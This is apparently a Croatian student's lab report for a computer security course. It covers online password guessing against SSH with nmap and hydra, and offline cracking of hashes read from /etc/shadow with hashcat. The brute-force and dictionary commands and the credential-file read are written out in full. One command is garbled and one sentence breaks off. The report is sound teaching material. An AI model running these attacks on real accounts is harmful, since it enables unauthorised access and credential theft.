LAB 5

Sigurnost računala i podataka

Online and Offline Password Guessing Attacks

Online Password Guessing

Otvaramo bash shell i pingamo lab server da vidimo jesmo li na istoj lokalnoj mreži.

```
ping a507-server.local
```

Naredba *nmap.* Određujemo range ip adresa koristeći:

```
nmap -v 10.0.15.0/28
```

S adrese http://a507-server.local/ na kojoj su se nalazili docker kontejneri tražim svoj kontejner. Pomoću ssh spajam se

```
ssh smoljo_luka@10.0.15.6
```

Potom treba pogoditi lozinku i nakon krivih pokušaja shvaćamo da je dobra za online napad jer nema limit rate.

Znamo da je lozinka sastavljena od 4 do 6 lowercase engleskih slova abecede kojih ima 26, što znači da postoji:

26^4+26^5+26^6 kombinacija

= 2^29

Za pokušaj brute force attacka koristimo hydra alat

```
hydra -l smoljo_luka -x 4:6:a 10.0.15.6 -V -t 4 ssh
```

```
wget -r -nH -np --reject "index.html*" <http://a507-server.local:8080/dictionary/g5/>
```

Hydri se proslijeđuje dictionary.

```
hydra -l smoljo_luka -P dictionary/g5/dictionary_online.txt 10.0.15.6 -V -t 4 ssh
```

Dictionary ima oko 850 lozinki, a prosječno treba proći polovicu lozinki da bi se pronašla prava, i

Offline Password Guessing

Dobili smo pristup remote računalu i želimo pronaći lozinke nekih drugih korisnika.

Prvo smo pronašli folder unutar kojeg se nalaze hashirane lozinke.

```
sudo /etc/shadow
```

Kopiramo hash vrijednost nekog korisnika u lokalni file imena “hash.txt”.

Koristimo naredbu hashcat za napad.

```
hashcat --force -m 1800 -a 3 hash.txt ?l?l?l?l?l?l --status --status-timer 10
```

Opet zaključujemo da je potrebno previše vremena za brute-force lozinke i koristimo predefinirani dictionary.

Drugi napad:

```
hashcat --force -m 1800 -a 0 hash.txt dictionary/g5/dictionary_offline.txt --status --stat
us-timer 10
```

Kad hashcat pronađe lozinku možemo se uspješno povezati na remote računalo kao korisnik čiju smo lozinku probili.